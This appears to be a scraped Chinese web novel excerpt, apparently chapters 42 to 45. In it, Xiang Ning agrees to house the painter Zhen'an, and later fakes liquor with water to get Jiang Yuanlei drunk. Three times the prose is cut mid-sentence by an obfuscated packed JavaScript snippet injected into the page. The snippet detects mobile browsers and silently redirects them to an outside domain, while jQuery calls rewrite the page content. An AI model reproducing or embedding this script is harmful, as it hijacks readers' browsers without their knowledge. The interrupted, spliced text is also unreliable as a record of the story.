向宁很不喜欢现在这种一头雾水的状态,主动问道:“怎么了?” 祝璋抢先回答:“八成是他猜到我想请向小姐帮什么忙了,怕冒犯到你。” 冒犯? 难不成是让她干什么脏活? 比昧着良心给塌房艺人洗白还脏的活吗? 向宁举棋不定:“先说说看吧。” 祝璋从包里拿出一个精致的盒子,放在桌上推到向宁面前,不顾枕安的阻拦,终究还是开了口。 “我现在有些杯弓蛇影了,信不过身边的人。但是,向小姐,我信得过你。所以……可以请你帮忙,暂时收留他一段时间吗?” 向宁还没反应过来,祝璋就帮她打开了面前的盒子。 只见里面摆着一根500克的金条,在黑丝绒衬布的包裹下更显金光。 收下这份报酬,她不但能立刻还清之前问向晚蘅借的十万块,还能再多一笔存款。 “怎么样,向小姐?”祝璋期待地问道。 向宁抬头看看枕安,他仿佛被祝璋的出价杀了个回马枪,一时失去了反对交易的资格。 再扭头看看祝璋,即便手握如此分量的筹码,她依然没有半分居高临下的神情。 “说实话,我是真挺想赚这笔钱的……” 更重要的是——帮了这个忙,她和祝璋的关系就能更近几分。这样可遇不可求的人脉,她当然不会随随便便放弃。 听到向宁的回答,祝璋渐渐露出一个放心的微笑,枕安心里却五味杂陈。 “但是……” 短短两个字,猝不及防的转折,又让二人心里都捏了一把汗。 向宁的眼神在他们之间来回移动,诚恳地道出了自己的顾虑。 “我目前还有一个室友,这种事,总得先征求一下她的意见。” 枕安忍了半天,一直等到向宁出门去给简晓夜打电话,才终于找到了开口质问祝璋的时机。 “这么大的事,你为什么不事先征求一下我的意见?” 祝璋把问题抛了回去:“你是在怪我没有提前跟你讲杜琮告密的事,还是请向宁帮忙的事?” 枕安不答话,面色依旧很不好看,便是默认两件事要一起兴师问罪的意思了。 “放心吧,我爸绝对找不到你。” 祝璋先给他吃下一颗定心丸。 “因为告密这件事完全是我编出来的,杜琮可没有那个本事,能把眼线安排到我身边来。” “那祝高远呢?” 枕安对他直呼其名,态度也并不恭敬,祝璋却没觉得有什么不妥,大约是已经习惯了。 “他那边你就更不用担心了。皇帝退位前,身边的老太监就算不提前给自己找条退路,也不至于作死去得罪参与夺嫡的皇子。祝家虽然就这点钱,没有皇位可继承,但人情关系都是同样的道理。” 枕安听了这话,心里稍稍踏实了些,紧接着却又疑道:“那你为什么要大费周章演这么一出戏?为什么要把她也扯进来!” 祝璋理直气壮地与他对视,反问道:“她?不是八年前就被咱们扯进来了么?” 枕安逃避般移开眼神,垂下目光,起初似乎想说点什么,终究还是没有出声。 提起这个话题,气氛总是沉重的。 祝璋尽量放轻了声音,说道:“当年那件事,我也有一半责任。既然现在找到了她,有机会赎罪,总不能只让你一个人承担。” 枕安明确了她的态度,这才放下一部分戒备,询问道:“你有什么打算?” “我出钱,你出力,这很公平。” 500克的金条对向宁来说不算小数目,对祝璋而言却远不及九牛一毛。 其实她也想过一次性补偿更多,可是又怕贸然行动会使向宁生疑,还是循序渐进比较稳妥。 枕安知道她还没有完全交出实底,于是半讽刺地追问道:“堂堂祝总,难道只能想出这个办法给别人送钱吗?” 祝璋沉默片刻才说:“别忘了,杜琮还记着仇呢,不会轻易放过简晓夜和向宁。现在简晓夜在我的剧组里,杜琮不敢贸然动她,但向宁落着单,他迟早会拿她开刀。有你在,至少可以拦着他犯浑。” 枕安闻言不再反对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943219|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是纠结于:“可你为什么不先跟我商量一下?这样贸然地把我往她家里塞,你让人家怎么想?” 祝璋仿佛听见他讲了个冷笑话,摇摇头道:“正因为如此,我才不能事先跟你商量啊。” 见枕安不解其意,她又解释道:“这种借口,只有在你不知情的前提下,才能由我出面请人家收留你。你要是知情,就得你亲自跟她开这个口。我还不知道你么?脸皮那么薄,就是再酝酿三五年,也不好意思跟人家提起一句半句。” 向宁打完电话回来,见桌上的气氛有些古怪,还没来得及细想,就听祝璋问道:“简小姐怎么说?” “晓夜刚开始顾忌比较多,不过后来听说是帮祝总朋友的忙,就没有意见了。” 祝璋点点头,取下发间的白玉短簪交给向宁:“之前不知道你还有室友,我也没准备第二份谢礼。如果不嫌弃的话,就替我把这个转交给她吧。” 向宁知道,这个时候是绝不能推辞的。 虽然她说起这件事时,在枕安的真实身份上对简晓夜有所保留,但是为了让祝璋彻底安心,这份“封口费”必然得替她收下。 向宁虽然算不上行家,却也略有些眼力,接过那支白鹤形状的玉簪,一摸一看便知它价值不菲,相当于又收下了一根金条。 她不由在心里叹道:来赴一场答谢宴,包里忽然多出大几十万的资产,怎么不算是财神显灵呢? …… 回程时,向宁和枕安坐上了同一辆车。 “你怎么一直闷闷不乐的,还在生祝璋的气吗?怪她自作主张把你塞到我家来?”她问。 “我哪有资格生她的气。”枕安板着脸,说起正话来也像反话,“只是怕给你添麻烦。” 向宁掂了掂挎包,调侃道:“这又是金,又是玉的,再麻烦我几回也不嫌多啊。” 话虽这么说,目的却只是让枕安别多心。 实际上,向宁以后可不敢多拜财神了,天上掉下来的馅饼吃得太饱,鬼知道会有什么副作用呢? 汽车停在向宁家楼下,前一辆送人,后一辆送枕安的行李。 东西不多,枕安拒绝祝璋的人提供帮助,自己上下跑几趟,总算是搬完了家。 不多时,又有一辆车开到楼下,把他惯用的画材也打包送了过来。 向宁家刚好剩下最后一间空卧室,枕安住进去以后,那间房又多承担了一份画室的功能。 猫猫看见有新室友搬进家里,出于对陌生人的防备,起初一直待在冰箱上不肯挪窝,探着好奇的小脑袋观察了许久,最终还是抵不过猫罐头的诱惑,被枕安引了下来。 向宁见他们相处得不错,便问:“你应该蛮喜欢猫的吧?我记得你有很多作品画的都是猫。” “嗯,喜欢,只是一直没机会养。”枕安低着头沉浸在撸猫的世界里,忽然想到了什么,于是抬头问道,“它叫什么名字?” 向宁一本正经道:“姓猫,名猫,字猫,号猫猫居士。” 枕安被这既严肃又诙谐的答案逗笑了,刚想开口说点什么,就被一阵手机铃声打断了思路。 是他的电话,祝璋打来的。 “怎么,不放心你?”向宁打趣道。 枕安摇摇头:“万恶的资本家来给苦命的劳工布置新的工作任务了。” 祝璋听见他的话,在电话那头翻了个白眼:“我让人把东西送到楼下了,既然你是劳工,那就自己搬上楼吧。” 枕安本来也没打算让其他人代劳,挂掉电话便独自出门签收了货物,搬起沉甸甸的箱子准备上楼。 与此同时,刚从机场回来的蒋昭恒拖着行李箱,跟枕安坐上了同一趟电梯。 43. 再见初恋 蒋昭恒先按了自己要去的楼层——13。 站定以后见枕安两只手都搬着箱子,便友善问道:“几楼?我帮你按。” “12,谢谢。” 蒋昭恒脸上的笑容立时僵住,手指一顿,怔愣片刻才按下对应的按钮。 这栋楼从10层到顶层全都是一梯一户,如果他没有记错的话,12楼正是向宁的居所。 蒋昭恒通过电梯里的装饰镜,不着痕迹地打量枕安。 是她的朋友? 是她带的艺人? 是周末加班送文件的公司同事? 无论如何,蒋昭恒都不愿往最坏的方向去想——退一万步说,他总不可能是她新交的男朋友吧? 叮!12楼到了。 枕安走出电梯以后,蒋昭恒悄悄按住开门按钮,等着看他是直接掏出钥匙来开门,还是敲门等向宁来给他开门。 滴——滴——滴—— 几声短促的电子音接连响起,蒋昭恒这才后知后觉地意识到这栋楼的住户装的都是密码锁,他出国几年,把这茬给忘了。 等等,也就是说,刚才那男的知道向宁的家门密码? 这可不是个好兆头,排除了艺人、同事、关系一般的朋友等等答案。 叮!13楼到了。 蒋昭恒站在自己家门前,望着密码锁不知在生什么闷气。 良久,才听他用极轻的声音自言自语起来。 “出国前就应该把密码改掉的……” 语毕,他不情不愿地输入向宁的生日数字。 “滴——门已开。” 该死,这局输给她了。 蒋昭恒尽力让自己不去想这件事。 还有那么多行李要收拾呢,哪有闲工夫想她? 然而行李箱打开后在地上躺了许久,蒋昭恒都没有动作。 不得不承认,他有点后悔。 当初就不该赌气,故意把向晚蘅买给向宁的礼物落在美国。 现在好了,想找个理由上门打探情况都找不到。 诶,等等。 谁说找不到? 蒋昭恒灵机一动,从行李箱里拿出一盒未开封的自用香水。幸好是找品牌方私人订制的,从包装上看不出这是男士香水。 他匆匆起身,正要往门外走,忽又停住脚步,暗骂自己没出息——人家已经moveon了,我还上赶着去套什么近乎? 可是转身回来没走两步,他又觉得不甘心——向宁凭什么这么快就moveon? 不行。 他偏要上门去给她添点堵。 没耐心等电梯,蒋昭恒直接走楼梯下到了12楼,敲门前还对着手机整理了半天仪容仪表。 咚、咚、咚。 敲门声缓慢而有力,在蒋昭恒看来,这样才能显出他走这一趟是“不情不愿,但不得不来”的。 等了半分钟,没人开门。 难道他俩这么快就出去了?不会吧…… 咚、咚、咚! 这次蒋昭恒用足了力气,敲得手指关节隐隐作痛。 门里终于传来距离渐近的脚步声,懒洋洋的,与他急躁的心情形成了鲜明的对比。 来开门的是向宁。 见到蒋昭恒以后,她显然有些意外。 “怎么这么久才开门?”他问,用自认冷酷的声线。 重逢第一句话就是质问,向宁自然对他没什么好脸色,理直气壮道:“在卧室呢,没听见。” 蒋昭恒不由气结,大约是误读了这句答案,产生了其他联想。 败绩在前,他下定决心,绝不能当着向宁的面再输给她一局。 于是蒋昭恒佯装毫不在意,把香水盒子递给她:“我妈给你买的,让我送来。” 向宁接过礼物,态度有所缓和:“谢谢。等那边时间差不多,我再去跟阿姨道谢。” 蒋昭恒的神情忽然有些不自然:“不、不用了,她不喜欢你表现得这么见外。” 一旦向宁去找向晚蘅道谢,他张冠李戴的招数不就直接被戳破了吗? “行吧。那你……”向宁见他似乎没有要走的意思,“还有什么事吗?” “没有,走了。” 蒋昭恒听出了逐客令的意思,旋即错开两步去按电梯。 出于礼貌,向宁并没有在他等电梯时直接关门,蒋昭恒便见缝插针,假装随意闲谈道:“哦,对了,我刚才在电梯里碰到你男朋友了。” 向宁不解——我最近一直空窗期啊……难道他说的是前男友? 也不对啊,前男友到我家电梯里做什么?又没人上门拜访。 向宁想不明白,于是好奇道:“哪个男朋友?” 然而这话落在蒋昭恒耳朵里就又变了味道。 哪个? 也就是说有好多个呗? 行,真行。 电梯门很快打开,蒋昭恒没有回答她的问题,只阴阳怪气道:“对人家好点吧,别三心二意的。” 向宁更摸不着头脑了。 谁三心二意了! 她虽然情史比较丰富,但是从来没有劈过腿好吧! 难道是哪个前男友在背后造谣抹黑她了? 面对不存在的谜题,向宁必然解不出答案。 算了,不想了,又不会掉块肉。 回到家里,向宁拿出那瓶香水在手腕上喷了一点。 嗯……挺清爽的。 可是猫猫却不喜欢这个味道,向宁回到里屋以后,它凑在她手腕上嗅闻片刻就躲出了八丈远,怎么喊也喊不动。 唉,看来只能把向阿姨的这份礼物束之高阁了。 枕安也闻到了她身上多出的香水味。 奇怪的是,这味道和刚才电梯里那个年轻男人身上的香水味如出一辙。 还未来得及细想,就听向宁问道:“这个箱子里的东西就是你的工作任务?” 里面除了衣料别无他物,真丝、混纺、棉麻等等,材质各异。 枕安点头道:“是给祝璋姐筹拍的新电影准备的,她嫌刺绣不够轻薄飘逸,所以让我来画花纹。” “你不是画油画的吗?”那种颜料涂在衣服上,怎么想都比刺绣更实更重啊。 “国画也略懂皮毛,”枕安谦虚道,“小时候学得杂。” 二人聊着天,一眼没看住,猫猫就从高处跳进了装衣料的箱子,在一块米白色的棉布上留下了几个小小的爪印。 向宁连忙道歉,抱起猫猫说道:“我来处理吧,这种布能机洗吗?” 枕安却摇摇头:“不用处理了,就当是它帮我画了第一笔吧。” 向宁有些迟疑:“你……确定?祝璋那边能验收通过吗?” 枕安拿起那块布,回忆几秒后笑道:“这块料子是给老年侠客角色用的,我记得她的设定是面冷心热的前辈高人。如果她板起脸来教训主角时,衣服上还留着小猫的爪印,不是很有反差萌吗?” “有道理!”向宁被他说服了。 枕安轻轻拍了拍猫猫的小脑袋瓜:“你是功臣,今晚叔叔给你做大餐。” “不行!”向宁连忙制止大人溺爱小孩的行为,“今天它吃得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947172|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够多了,明天再说。” 猫猫扒拉着枕安的裤子“喵”了一声,似乎想用撒娇法案推翻向宁的旨意。 枕安满脸歉疚地移开它的爪子:“抱歉哦,宝宝,你妈妈是这个家的绝对权威呢。” 猫猫不高兴地“嗷”了一声,跑出卧室不再搭理二人。 向宁和枕安紧跟着它回到客厅,还没坐稳就听见了门铃声。 又是谁? 今天是怎么了? 脚下这一亩三分地里,可真够热闹的。 向宁走到门边,通过猫眼往外看去。 一看到门外的人是蒋元磊,向宁的嘴角立马扯出一个充满鄙夷的冷笑。 打开门后,她的表情又飞快变成了热情又亲切的笑容。 “蒋叔叔,您怎么来了?” 从法律意义上讲,蒋元磊现在仍然是向晚蘅的丈夫。但是自从四年前向晚蘅发现他长期出轨的事,这段婚姻就已经名存实亡了。 向晚蘅带着蒋昭恒出国以后,蒋元磊便很有自知之明地疏远了向宁,甚少跟她联系。 但向宁对他的态度从未变过——至少表面上看起来是这样。每逢年节,她都会主动发消息关心蒋元磊,或者网购各种礼品寄到他家。 今天不知道吹的是哪阵风,竟然把他给吹来了。 蒋元磊先找补了两句:“前几天本来想叫你到家里过元旦的,不过想着你可能比较忙,就没来打扰。” 说着,他抖了抖手里提着的袋子:“这不,我挑了个周末,来看看你。” 向宁一边道谢一边接过对方递来的塑料袋,里面装着几斤排骨,几斤鱼虾。 蒋元磊的动作有些拘谨,双手小幅度地搓着,似乎想说什么,却迟迟不好意思开口。 枕安站在向宁身后不远处,认出了门外的蒋元磊是曾经红极一时,如今却已彻底过气的老牌演员,也是星桥娱乐的签约艺人。 既然向宁叫他“蒋叔叔”而非“蒋老师”,枕安少不得也要上去跟长辈打声招呼。 蒋元磊很是受用,目光一转,找到了新的话题。 “小宁,这位是——你不给叔叔介绍介绍吗?” 在这两人打招呼的几秒时间里,一个大胆的计划在向宁脑中初步成形。 她本以为要等自己顺利进入经纪部以后才有机会自然而然地接近蒋元磊,不使对方生疑,没想到他竟然提前这么久就主动送上门来了。 于是向宁亲昵地挽住枕安的胳膊,甜甜一笑道:“蒋叔叔,他是我男朋友。” 话音落时,她明显感到枕安身体一僵。 不知在心里经历了几番纠结,他还是很快反应过来,配合着回握住她的手,在笑着点头的同时用眼神示意向宁—— 又是什么突发任务,能再给点情报吗? 向宁随即给了反馈,对蒋元磊说道:“蒋叔叔,您说巧不巧?我正跟他商量着要找个时间请您来家里一块吃顿饭呢,您就先过来了。” 请吃饭? 枕安捕捉到了关键信息,自然而然地接过向宁手中的袋子,提议道:“正好,我来下厨吧。” 蒋元磊半真半假地推拒:“别麻烦了。要不这样,咱们找个好点的馆子,我请你们两个小的吃一顿?” 向宁可不能放跑了他,连忙挽住蒋元磊的胳膊,言语间带上了一点撒娇的味道。 “没关系,不麻烦,就是多添副碗筷的事。您就当考验考验未来姑爷的手艺,看看他够不够格进咱家的门呗?” 三让三请之后,蒋元磊觉得脚下有了足够高的台阶,终于被向宁请进了家门。 44. 假酒生意 “哎呦呦,你养猫了?” 蒋元磊一走进客厅就被猫猫吸引了目光,正要上前逗一逗,它却一溜烟跑进了向宁的卧室里。 “这猫胆子小,怕生,您别见怪。” 说着,向宁从冰箱里拿出一盒荔枝放在茶几上,请蒋元磊落了座。 蒋元磊坐在沙发上,看了看正在厨房忙活的枕安,压低声音对她说道:“小宁,实不相瞒,我这次来呢……其实是想请你帮个小忙。” 向宁给他倒了杯茶,故作随意道:“嗨,瞧您见外的,有什么事直接跟我说一声就行嘛。要不,咱们一会边吃边聊?” 蒋元磊慌忙摇摇头,按住她的手,将声音压得更轻了:“千万别,让你男朋友知道了不好。” 向宁心里一跳,强忍着没抽出手,小声问道:“是什么事啊?” 蒋元磊做贼心虚似的,又朝厨房的方向瞥去一眼,继而解释道:“我儿子,昭恒,最近不是回国了吗?” 只这一句,向宁便心下了然,紧接着明知故问道:“他还躲着不见您吗?” 蒋元磊无奈叹气道:“是啊。那孩子不像你这么明事理,一直对我有误会。自从出了国,更是把我的所有联系方式都拉黑了。可是再怎么样,我和他毕竟是亲父子,没有,也不该有隔夜仇啊……” 向宁试探道:“您是想让我帮忙斡旋?” “对对对。”蒋元磊点头如捣蒜,“你们虽然十几岁才认识,但是说一句青梅竹马也不为过。昭恒从小就嘴巴不饶人,只有你能治住他。所以……” 向宁不等他多说,直接答应道:“我知道了,蒋叔叔,我会想办法劝昭恒哥回家看望您的。” 蒋元磊先是欣慰一笑,紧接着又神秘兮兮道:“那个……你去劝昭恒的时候,可千万别把你谈恋爱的事说漏了啊,我怕他听了以后心里不舒服,有抵触情绪。” 向宁做出一副懂事的姿态:“嗯,我明白。” 蒋元磊对她的态度十分满意,假惺惺道:“唉,叔叔知道,他当年跟你分手,其实有我的责任。” 蒋昭恒出国前就跟亲生父亲放了断绝关系的狠话,正是气上心头的时候,却发现向宁并没有和他做出一样的选择,反而仍然对蒋元磊尊重有加。 她明明受了向晚蘅那么多恩惠,怎么能在原则性问题上模糊立场呢? 蒋昭恒想不明白,在他看来,向宁的选择就是对向晚蘅的背叛。 所以,分手便是他们唯一的选择。 蒋昭恒没有将分手的原因告诉向晚蘅,因为不希望她有心理负担。 向宁却将这一原因委婉地告知了蒋元磊。 因为只有这样,他才会真正相信向宁没有站在他的对立面,从而降低对她的防备心。 此时此刻,面对蒋元磊虚伪的自责话语,向宁也只是笑笑:“别这么说,是蒋昭恒自己非要钻牛角尖,怪不到别人头上。” 说完就起身去穿外套,热情洋溢道:“别说这些不开心的事了。蒋叔叔,您好不容易来一趟,咱们总得喝点吧!家里没酒了,我先出去买两瓶。” “啊?小宁你知道的呀,我已经戒酒了。”蒋元磊下意识站起来拦她,“要不还是以茶代酒,以茶代酒吧。” 向宁当然知道他戒酒的事。 这也是她一早假称枕安是她男朋友的原因。 “蒋叔叔,我在这个城市可只有您一个亲人了。” 先打张感情牌,占领道德高地。紧接着再伪装恋爱脑,让对方放松警惕。 “刚才当着我男朋友的面,我没好意思跟您讲。其实今晚这顿饭,就相当于我带他见家长了,可不是得喝点酒么?” 走完这两步,蒋元磊便已经有些动摇了。向宁果断乘胜追击,给待宰的猎物送上一支哑火的猎枪。 “您是长辈,社会经验足,吃过的盐比我吃过的饭还多呢。人家都说‘酒后吐真言’。等咱俩把我男朋友灌醉了,您可得帮我好好盘问盘问他,看看他到底是不是个靠谱的人!” 话都说到这份上了,蒋元磊自然没有坚持拒绝的道理。 “好,那就喝点吧。” 向宁满意一笑。 这顿鸿门宴,肯定会给他埋下一个惊喜的。 …… 小区对面就有大型商超,向宁让导购推荐了一种最容易喝醉的白酒,买了两瓶,外加一瓶矿泉水,紧接着又匆忙赶去了附近的药店。 “您好,要买什么药?” “有注射器吗?” 工作人员听到这句话,忽然警惕起来,上下打量着向宁问道:“是医生让买的?还是您自己有别的用途?” 这是上面要求的例行询问,原因说出来不好听——怕顾客买注射器用来注射成瘾性药物。听说上个月,附近片区抓了好几个惯犯,连带着药店的员工也受了批评教育。 向宁面不改色道:“买来做化妆品小样的,我是代购。” 工作人员看她的身材和脸色都很正常,不像药物成瘾的人。打扮得倒挺精致,的确像做代购行业的。于是没再深究,给她卖了一支没有针头的注射器。 离开药店,向宁又快步跑去了附近的酒吧。今天还没到营业时间,不过老板Gloria看她是熟客,就让她先进去了。 “这么早就来照顾我的生意呀?” 向宁摇摇头,从袋子里取出一个白酒盒子放在吧台上:“酒送你,瓶子归我。” “太阳打西边出来了?”Gloria打开瓶盖闻了闻,“好酒,我自己留着喝吧。” 说完就把那瓶酒尽数倒进了一只硕大的保温杯里,酒瓶顶端只留着一个小小的开口,半晌才倒干净。 “你要空瓶子做什么?”Gloria将瓶子还给向宁,十分不解,开玩笑道,“不会是改行做假酒生意了吧?” 向宁取出注射器,耐心将那瓶矿泉水一点一点打进酒瓶里,漫不经心道:“做个道具。” Gloria不由感叹:“干你们这行可真够累的,周末加班也就算了,竟然还身兼数职,道具组的活也干呀?” 向宁笑而不语,将瓶盖重新拧紧,手中便又是一只“完好无损”的酒瓶。 她看看手表,似乎已经在外面花了太多时间。 为了不让蒋元磊起疑,她得赶紧回家了。 与此同时,蒋元磊正在厨房跟枕安闲聊。 “小伙子,我还不知道你叫什么名字呢。” 枕安一方面实在不擅长编造假名,另一方面又怕用假名应付他有露馅的风险,会给向宁添麻烦,于是应付道:“您叫我小安就行。” 蒋元磊点点头,心道:哦,姓安。 “你跟小宁是怎么认识的呀?”他又问道。 枕安也不知道向宁的男朋友应该是什么人设,于是给了个模糊的答案:“工作的时候认识的。” 蒋元磊哦了一声,又问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951611|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小宁有没有跟你提过我呀?” 枕安飞速组织语言,撒谎道:“她说过有个很有名的叔叔,不过没告诉我那位叔叔就是您。” 千穿万穿,马屁不穿,蒋元磊果然认为这个答案合情合理——虽然他是个公众人物,但是依向宁的性格,肯定不会到处炫耀。 枕安见他没有起疑心,便抓住时机问道:“小宁是您爱人那边的亲戚吗?” “不不不。”蒋元磊往案台上一靠,像老师靠上了讲桌。“她和我们都没有血缘关系,是我老婆去外省拍戏的时候在取景地认识的。孤儿,怪可怜的。” 枕安切菜的手停了停,再继续时,下刀便有些不稳了。 上了年纪的人每每回忆往事,总是说个没完,蒋元磊也不例外,自顾自接着说了下去。 “那时候小宁十六岁,我老婆本来想收养她,可惜我儿子死活就是不同意,说什么都不松口,可能是考虑到以后继承遗产的问题吧。” “我老婆心善,不忍心留小宁一个人生活,两个人就认了师徒。从那以后,小宁的衣食住行,外加上学,都是我们资助的。” “诶,你知道吗,小宁大学也是学表演的,可惜没走成演员路。” 枕安点点头:“知道。” 现在才知道的。 刚认识那天,向宁明明说她学的是新闻专业。 好吧,她的确很擅长撒谎。 不愧是学表演的。 枕安正要接着往下问,向宁就拎着两瓶酒回来了。 “怎么样,饭菜都到什么进度了?”她问。 枕安一一汇报,蒋元磊不想当电灯泡,早早就回到了客厅里。 这下,两名“特工”终于可以单独接头了。 “一会有什么计划,让我怎么配合?”枕安低声问道。 向宁踮起脚,对他耳语道:“我来主导,你见机行事,任务目标就是把蒋元磊灌醉。要烂醉如泥,不省人事的那种醉。” 枕安不问缘由,只觉任务艰巨,于是深吸一口气:“收到。” 向宁又问:“快同步一下最新情报,你们俩刚才都聊什么了?” 枕安语塞,舔了舔嘴唇,挤出来几个字:“你……的大学。” 向宁早忘了曾经对枕安撒过什么谎,只疑惑道:“怎么聊到那去了?” 枕安遮掩道:“东一榔头西一棒槌的,也没聊什么正经事。” 向宁不疑有他,于是回归正题,讲明了真假酒瓶的玄机,又交代了几句其他注意事项。 枕安一一记下,怕忘,还在嘴里念叨了几遍。 向宁看着他认真的样子,没忍住噗嗤一笑。 枕安不解:“怎么了?” “没什么。”向宁摇摇头,“只是觉得有点奇怪,你以前不是很抗拒跟陌生人社交吗?今天怎么还跟蒋元磊聊上了?” 枕安随便扯了个借口:“他……毕竟是演员,经常能在电视上见到,所以不太算是陌生人。” “这样也行?”向宁对陌生人的定义有了新的认知。 枕安在心里松了口气。 他也不想用谎言搪塞向宁,奈何实在不知道她的问题该从哪里答起。 换言之,她的疑惑,又何尝不是他自己的疑惑呢。 如果一定要他给自己做出诊断的话,也许…… 有些心结一旦解开,由它衍生而来的各种怪毛病就能渐渐自愈了吧。 45. 四个破绽 桌上的四菜一汤给足了蒋元磊面子,香气都快把他的馋虫勾出来了。 装酒的袋子放在桌脚边,向宁先拿出一瓶,试着拧了拧盖子,确认是全新未开封的,便把这瓶酒放在蒋元磊面前,继而把装着矿泉水的酒瓶放在枕安手边。 “蒋叔叔,你们俩一人一瓶。今天务必喝个尽兴啊,不醉不归!” 蒋元磊随口问道:“小宁,你不喝点吗?” 向宁煞有介事地苦着脸:“我就算了,明天还得早起上班呢。” 蒋元磊也不多劝,率先动了筷子。 他还记得先前答应过向宁,要帮她探一探“男朋友”的老底,于是边吃边聊,先从无关紧要的话题问起。 “小安呀,你是哪里人?” “本地人。” “喔,挺好,户口不用愁了。”蒋元磊笑了笑,紧接着话锋一转,“在小宁之前,你谈过几个女朋友呀?” 枕安如实答道:“没谈过。” 说完又扭头看了向宁一眼,微笑道:“她知道的。” 向宁放下筷子附和了一声,没露出什么破绽。 知道。 也是现在才知道的。 老实说,她有点意外。蒋元磊也是一样,看向枕安的眼神都变了,仿佛在看什么变异物种。 不过,就这么干聊可不行。 向宁在桌子底下轻轻踢了枕安一脚,示意他加快进度。 枕安会意,连忙端起装满矿泉水的酒杯,满脸真诚地对蒋元磊说道:“蒋叔叔,我敬您一杯,感谢您这些年来对小宁的照顾。” 蒋元磊其实有些心虚,毕竟说实在的,他这些年几乎没怎么关照过向宁。现在能厚着脸皮上门请她帮忙,还是沾了向晚蘅的光。 不过,这些心思他是绝不会表现在脸上的。 更何况人家酒杯都举起来了,难道他还有不喝的道理? 蒋元磊喝了两口酒,正要放杯子,就看到枕安的酒杯已经空了。 “我干了,您随意。” 话虽这么说,蒋元磊却不好意思真的“随意”,只能硬着头皮喝完自己杯子里的酒。 嚯,真够劲。才一杯酒下肚,就快把眼泪辣出来了。 诶,之前还没注意,这酒杯竟比一般的白酒杯大一圈呢。 蒋元磊正这么想着,向宁就主动帮他续满了第二杯酒。 眼看枕安又想端杯子敬酒,蒋元磊急忙按住他的手,转移话题问道:“小安呀,你是做什么工作的?” 枕安不想说实话,于是编了个差不多的答案:“插画师,给杂志画插图的。” 向宁笑而不语,他说的倒不算假话。 毕竟从广义上来说,拍卖会宣传册也算一种杂志,拍品详图也算一种插图。 蒋元磊却对这个答案不太满意。 杂志插画师?哼,纸媒都落寞多少年了,干这行肯定挣不上多少钱。 蒋元磊再开口时,语气就多了点趾高气昂的意味:“那你父母呢,都从事什么行业?” 枕安的情绪没什么波澜:“我父母都去世了。” 听到这个答案,蒋元磊和向宁俱是一愣。 枕安的表情并没有半分哀色,向宁一时没了判断的依据,不知道他这话是真是假。 蒋元磊则有些尴尬,端起酒杯自嘲道:“是叔叔说错话了,我自罚一杯。” 枕安倒不觉得有什么,主动陪他喝了一杯,算是圆场。 几两酒下肚以后,蒋元磊的脑袋就开始发红了。 他用力眨了几下眼睛,抬头一看,枕安却仍旧面不改色,毫无反应,不免觉得有些奇怪。 难道这小子酒量这么大? 向宁注意到了蒋元磊的眼神,略加思索便发现了问题的症结。 “哎呀,我才想起来,晚上还没给猫猫喂食呢!”她佯装急切,作势要走,“你们先吃,我马上回来。” 枕安见她去卧室找猫,隐隐觉得这又是一层障眼法。毕竟今天下午向宁还说猫猫吃得太多,不能再喂了,这才几个小时过去,她总不至于把这茬给忘了吧。 果然如他所料,十几秒后,卧室方向便传来了向宁苦恼的声音。 “老公你把猫罐头放哪了?快过来帮我找找!” 即便知道是在演戏,枕安还是被这个称呼叫得脸热,赶忙去卧室找向宁会合。 “咳,怎么了?”他关上门小声问。 向宁把他按在椅子上,一边在梳妆台的抽屉里翻找,一边说道:“蒋元磊把头都喝红了,你怎么能一点反应都没有呢?再这样下去,迟早要穿帮的。” 枕安见她拿出一盒腮红,便猜到了她在打什么主意。 本来想反抗一下的。 谁说不化妆就演不好醉酒戏呢? 但他又没什么反抗的底气。 毕竟作为毫无经验的群众演员,他的演技还远远没有达到不用依赖妆造的水平。 “行吧。”枕安闭上眼睛,叮嘱道,“下手轻点。” “OK!” 向宁的动作确实很轻,化妆刷扫过脸颊时,就像小猫用尾巴给人挠痒痒,结果自然是越挠越痒。 二人的距离不算很近,枕安先把眼睛睁开一条缝,再慢慢全部睁开,过程中偶尔和向宁短暂对视,都无意识地屏住了呼吸。 不知在逃避什么,枕安很快便重新闭上了眼睛。只是比起刚才,现在他的睫毛颤动得更厉害些。 “好了。”向宁拍拍他的脑袋。 随着腮红盒子关紧时发出的咔哒响声,枕安睁眼去照镜子,恍惚间却无法分辨脸上的红晕有多少是真,多少是假。 也许,是假的盖住了真的。 “我先出去,你过两分钟再出去,假装酒劲上头就行。”向宁像导演似的,给新人演员讲着接下来的表演思路。 枕安认真记下,继而望着她离开的背影出了半晌的神。 “喵——” 安静了许久的猫猫忽然出声,像是在提醒他出场时间到了。 好吧。 那就上台接着演。 